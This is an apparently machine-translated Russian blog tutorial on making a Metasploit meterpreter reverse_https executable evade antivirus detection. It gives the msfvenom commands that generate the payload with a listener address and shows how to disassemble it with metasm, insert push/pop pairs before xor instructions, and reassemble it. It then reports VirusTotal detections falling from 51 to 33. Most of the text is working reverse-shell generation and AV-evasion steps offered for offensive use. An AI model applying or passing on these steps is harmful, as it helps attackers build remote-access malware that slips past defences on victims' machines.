Сегодня мы продолжим наши поиски Virus Total Evasion путем призрачного написания бинарного файла msfvenom. Процесс написания призраков варьируется от чрезвычайно простого до чрезвычайно сложного. Мы попытаемся разделить середину и пойти по умеренному пути к изменению нашего вредоносного двоичного файла. Призрачная запись — это процесс изменения инструкций по сборке вредоносной полезной нагрузки с целью изменить путь выполнения, тем самым отбрасывая хорошо известные сигнатуры, созданные антивирусными ядрами.
Контрольная группа
Прежде чем пытаться изменить нашу полезную нагрузку с помощью дополнительных инструкций по сборке, мы создадим полезную нагрузку msfvenom windows/meterpreter/reverse_https в исполняемом формате, чтобы протестировать ее против Virus Total. Это даст нам номер подписи, чтобы побить нашу запутанную версию. Чтобы сгенерировать нашу полезную нагрузку, используйте приведенную ниже команду и загрузите ее в VT:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.98 LPORT=443 -f exe-o payload.exe --platform windows -a x86
Неудивительно, что у нас есть 51 задержание на незапутанной полезной нагрузке msfvenom, поскольку эти типы полезной нагрузки очень хорошо известны антивирусным механизмам из-за их простоты создания. Имея это в виду, давайте попробуем сгенерировать другую полезную нагрузку msfvenom, на этот раз в необработанном формате, что даст нам возможность изменить инструкции по сборке.
Создание полезной нагрузки
Мы начнем с использования msfvenom для создания полезной нагрузки windows/meterpreter/reverse_https в формате raw с помощью приведенной ниже команды.
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.98 LPORT=443 -f raw -o payload.raw --platform windows -a x86
После того, как наша необработанная полезная нагрузка будет сохранена на диске, мы должны преобразовать этот файл в файл сборки (.asm).
Для этого процесса преобразования мы будем использовать программу dissasemble.rb, которая является частью репозитория metasm. Metasm можно загрузить с GitHub здесь:
Примечания по установке
git clone https://github.com/jjyg/metasm.git
Эта программа может предоставить пользователям некоторые ошибки при установке. В основном эти ошибки связаны с отсутствующими жемчужинами. Убедитесь, что RUBYLIB является частью вашего пути. Чтобы обеспечить постоянное решение этой ошибки с отсутствующими драгоценными камнями, добавьте приведенную ниже строку в свои файлы bashrc. Обратите внимание, что мой репозиторий metasm находится в моем каталоге /opt. Если вы клонировали репозиторий в другом месте, убедитесь, что вы обновляете эту команду, чтобы отразить конкретное место загрузки.
После того, как metasm заработает, мы выполним приведенную ниже команду, чтобы разобрать наш файл payload.raw:
ruby /opt/metasm/samples/dissasemble.rb payload.raw > payload.asm
Это предоставит нам файл сборки .asm, который мы можем открыть с помощью gedit, vim или текстового редактора по вашему выбору, чтобы изменить Руководство по сборке. При открытии файла нам будут представлены фактические инструкции, которые выполняет полезная нагрузка, чтобы предоставить нам нашу обратную оболочку https.
Начнем с добавления этих двух строк в самый верх файла:
.section '.text' rwx .entrypoint
Первая строка обозначает расположение раздела .text (где находится определяемый пользователем код. Кроме того, указывая .entrypoint, мы показываем компилятору, где выполняется выполнение программа должна запуститься.Как только эти две строки установлены, мы можем начать изменять инструкции.
Изменить полезную нагрузку
Если вам нужно другое руководство в версии для заметок, чтобы изучить эти методы, ознакомьтесь с этой gitbook!
При открытии программы, как показано ниже, мы ищем экземпляры, в которых регистр соединен с помощью xor сам с собой. Например, мы ищем:
xor eax, eax
Когда регистр соединен xor сам с собой, он очистит значение в этом конкретном регистре. Другими словами, после выполнения этой инструкции значение EAX будет равно 0. Таким образом, чтобы изменить подпись полезной нагрузки, мы поместим EAX в стек, а затем немедленно извлечь EAX из стека перед инструкцией xor. Моя цель состоит в том, чтобы этот пост оставался удобоваримым, поэтому мы будем только заталкивать, а затем сразу же извлекать один и тот же регистр из стека. Теоретически можно добавить или подставить значения из EAX перед инструкцией xor, чтобы добавить дополнительную инструкцию запутывания. В итоге, когда вы увидите xor eax, eax, мы добавим эти две инструкции непосредственно перед инструкцией xor.
push eax pop eax
Как только вы добавите эти дополнительные инструкции перед каждым xor (с тем же регистром), мы теперь готовы взять наш .asm-файл и преобразовать его обратно в .exe. файл готов для нашей целевой системы. Для этого мы можем снова использовать metasm.
Преобразование обратно
Начните с использования peencode.rb, как показано в приведенной ниже команде.
ruby /opt/metasm/samples/peencode.rb payload.asm -o payload.exe
После выполнения этой команды нам будет предоставлен файл .exe, как показано на изображении выше. Теперь все, что нам нужно сделать, это загрузить наш образец в Virus Total и посмотреть, как мы это сделали.
Всего вирусов
Несмотря на то, что у нас все еще есть 33 задержания Virus Total, это значительный прогресс по сравнению с первоначальным обнаружением 51 за немногим более 10 минут работы. Этот метод, описанный в части 1 этой серии, можно комбинировать с другими методами, чтобы еще больше снизить уровень обнаружения. Сочетание этих методов является ключом к действительно низкому общему показателю обнаружения вирусов. Как видно на изображении ниже, некоторые очень популярные антивирусные ядра не обнаруживают нашу полезную нагрузку, на создание которой уходит примерно 10 минут.
Я надеюсь, что вы что-то вынесли из этой серии, и я с нетерпением жду возможности объединить некоторые из этих методов в будущем, чтобы увидеть, как низко мы можем опуститься. Удачного взлома!